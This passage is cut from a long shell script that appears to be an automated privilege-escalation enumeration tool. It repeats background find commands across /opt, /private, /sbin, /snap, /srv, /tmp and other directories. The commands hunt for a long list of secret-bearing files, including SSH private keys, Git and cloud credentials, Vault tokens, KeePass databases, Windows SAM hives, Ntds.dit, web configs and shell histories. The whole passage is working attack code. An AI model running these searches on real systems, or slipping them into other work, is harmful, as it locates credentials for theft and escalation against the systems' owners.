-o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"sess_*\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_OPT=`eval_bckgrd "find /opt -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_PRIVATE=`eval_bckgrd "find /private -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SBIN=`eval_bckgrd "find /sbin -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SNAP=`eval_bckgrd "find /snap -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SRV=`eval_bckgrd "find /srv -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_TMP=`eval_bckgrd "find /tmp -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"agent*\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o 